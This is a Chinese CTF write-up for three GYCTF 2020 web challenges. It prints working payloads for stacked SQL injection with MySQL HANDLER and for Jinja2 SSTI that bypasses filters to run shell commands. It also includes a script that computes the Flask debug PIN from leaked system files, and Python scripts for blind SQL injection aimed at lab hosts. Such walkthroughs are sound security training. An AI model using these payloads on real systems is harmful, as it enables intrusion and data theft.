GYCTF 2020 赛事复现(一)

Web

Blacklist

题目提供了一个查询功能,可以尝试SQL注入

在这里插入图片描述

经过测试,使用以下Payload提交,仍然成功返回,发现注入点。

?inject=1' and '1--+

尝试联合注入、报错注入等,可以返回库名。

?inject=1' and extractvalue(1,concat('~',database(),'~'))--+

在这里插入图片描述

但进一步利用时,发现题目进行了黑名单过滤,过滤了selectwhere等关键字,无法查询表名。

考虑使用十六进制编码进行绕过查询等关键字,但还需用到set关键字,无法绕过。

set @x=73656C656374202A2066726F6D20466C616748657265;prepare a from @x;execute a;

在这里插入图片描述

select关键字被过滤一般只有在堆叠注入的情况下才可以绕过,因此考虑进行堆叠注入。

查询数据库名

?inject=1';show databases;--+

在这里插入图片描述

查询表名

?inject=1';show tables;--+

在这里插入图片描述

通过查询表结构获取字段名

?inject=1';desc FlagHere;--+

在这里插入图片描述

查询表数据使用Handler查询。

Handler是Mysql特有的轻量级查询语句,在Mysql中除了使用select查询表中的数据,也可使用handler语句,这条语句能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是Mysql专用的语句,并没有包含到SQL标准中。
Handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

?inject=1';handler FlagHere open as a;handler a read first;handler a close;--+

在这里插入图片描述

FlaskApp

本题我使用SSTI解出,后来看到官方wp,还考察了debug PIN。

以下先给出我的解法:

SSTI

题目提供了一个进行Base64编码和解码的Web页面,由题目名称推测可能存在SSTI,尝试传入以下Payload

{{4}}
# e3s0fX0=

页面成功回显4,因此存在SSTI

在这里插入图片描述

经过尝试,*evalospopenflag 等关键字都被过滤,提交后返回统一提示。常见Payload无法直接打,因此需要进行绕过。

在这里插入图片描述

经过调试,首先寻找存在global全局变量的其中一个类,引号内的关键字采用字符串拼接或十六进制编码进行绕过即可

{{''.__class__.__base__.__subclasses__()[245].__init__.__globals__['__builtins__']['\x65\x76\x61\x6c']('__impo'+'rt__("\x6f\x73").pop'+'en("cat /this_is\x2a").read()')}}
# e3snJy5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKVsyNDVdLl9faW5pdF9fLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnXHg2NVx4NzZceDYxXHg2YyddKCdfX2ltcG8nKydydF9fKCJceDZmXHg3MyIpLnBvcCcrJ2VuKCJjYXQgL3RoaXNfaXNceDJhIikucmVhZCgpJyl9fQ==

得到答案

在这里插入图片描述

以下是官方解法:

Debug PIN

简单来说就是在Flask debug模式下,配合任意文件读取,可以造成任意代码执行。

Flask在debug模式下会生成一个Debugger PIN,通过这个PIN码,就可以在Web端执行任意Python代码。

而PIN码的生成机制是由一些固定的值算出来的,在同一台主机上多次启动同一个Flask应用时,这个pin码是固定的。而计算这个PIN码则需要以下参数:

  1. username:就是启动这个Flask的用户,可通过/etc/passwd查看
  2. modname:为flask.app
  3. getattr(app, '__name__', getattr(app.__class__, '__name__')):为Flask
  4. getattr(mod, '__file__', None):为flask目录下的一个app.py的绝对路径
  5. uuid.getnode():当前电脑的MAC地址的十进制
  6. get_machine_id():Linux下为依次读取/etc/machine-id/proc/sys/kernel/random/boot_id文件的值,若有则直接返回

编写脚本计算PIN码:

import hashlib
from itertools import chain

username = 'flaskweb'   # /etc/passwd
modname = 'flask.app'
app_name = 'Flask'
mod_file = '/usr/local/lib/python3.7/site-packages/flask/app.py'
mac_addr = '8a:e1:91:22:7f:59'   # /sys/class/net/eth0/address
machine_id = b'1408f836b0ca514d796cbf8960e45fa1'    # /etc/machine-id /proc/sys/kernel/random/boot_id
uuid_node = str(int(mac_addr.replace(':', ''), 16))

probably_public_bits = [
    username,
    modname,
    app_name,
    mod_file,
]

private_bits = [uuid_node, machine_id]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        rv = "-".join(
            num[x : x + group_size].rjust(group_size, "0")
            for x in range(0, len(num), group_size)
        )
        break
else:
    rv = num

print(rv)

运行得到PIN码,进而获得Python Shell:

在这里插入图片描述

Ezsqli

题目页面提供了一个查询框,输入1,可以返回数据:
在这里插入图片描述

经过测试,返回结果有以下几种类型:

输入响应备注
1Nu1L正常返回数据
2V&N正常返回数据
3Error Occured When Fetch Result.查询结果为空
1’bool(false)SQL语法错误
1 and 1SQL Injection Checked.触发过滤规则

考虑进行SQL注入,但是题目对某些关键字进行了过滤,首先Fuzz一下,发现andorunion等都被过滤了,但是异或^可以用。

经过测试,可以使用如下Payload通过布尔盲注得到数据库名:

id=1^(substr(database(),{},1)='{}')

但是本题中过滤了information_schema关键字,无法通过该数据库获得表名和列名。

在 Mysql 5.7 版本中新增了sys.schema,其基础数据来自于performance_schemainformation_schema两个库中,其本身并不存储数据。

Mysql的innodb引擎下可以使用mysql.innodb_table_statsmysql.innodb_index_stats代替,日志将会把表、键的信息记录到这两个表中

除此之外,系统表sys.x$schema_flattened_keyssys.schema_table_statistics_with_buffersys.schema_auto_increment_columns用于记录查询的缓存,某些情况下也可代替。

利用以上代替表盲注表名,代码如下:

import requests
import string

char = string.ascii_lowercase + string.digits + '_,-' + string.ascii_uppercase
flag = ''
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://69299e07-c820-4302-83a2-e949b469e4d4.node4.buuoj.cn:81", "Connection": "close", "Referer": "http://69299e07-c820-4302-83a2-e949b469e4d4.node4.buuoj.cn:81/", "Upgrade-Insecure-Requests": "1"}

for i in range(1, 30):
    for j in char:
        # 库名:give_grandpa_pa_pa_pa
        # payload = "1^(substr(database(),{},1)='{}')".format(i, j)

        # 表名:f1ag_1s_h3r3_hhhhh,users23333
        payload = "1^(substr((select/**/group_concat(table_name)/**/from/**/sys.x$schema_flattened_keys),{},1)='{}')".format(i, j)

        params = "id=" + payload
        response = requests.post("http://buuoj/index.php",headers=headers, data=params)
        if len(response.content) > 285:
            flag += j
            print(flag)
            break

得到表名为f1ag_1s_h3r3_hhhhhusers23333

但题目中还过滤了unionjoin关键字,因此无法通过join关键字进行无列名注入,于是通过字符比较的方式直接破解字段值。

在Mysql中通过><进行比较两个字符串时,与字符串的长度无关。给定两个字符串,会各取两个字符串的首字符比较ascii码,不等式成立返回1,不成立返回0

例如:

SELECT 'a'<'b'	# 1
SELECT 'a'>'b'	# 0
SELECT 'a'>'bcde'	# 0
SELECT 'azz'>'bcde'	# 0

首先确定字段数,通过以下Payload得知字段数为2

id=1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))	# bool(false)
id=1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))	# Error Occured When Fetch Result.

逐一爆破字符即可,代码如下:

for i in range(1, 30):
    for j in range(40, 127):
        payload = "1^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag + chr(j))
        params = "id=" + payload
        response = requests.post("http://buuoj/index.php",headers=headers, data=params)
        if len(response.content) == 313:
            flag += chr(j-1)
            print(flag)
            break

得到答案:

在这里插入图片描述

参考链接

MySQL :: MySQL 8.0 Reference Manual :: 13.2.5 HANDLER Statement
Flask debug pin安全问题 - 先知社区
SQL注入基础整理及Tricks总结-安全客 - 安全资讯平台
information_schema过滤与无列名注入_information被过滤_snowlyzz的博客-CSDN博客
无列名注入姿势总结 - phant0m1 - 博客园

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值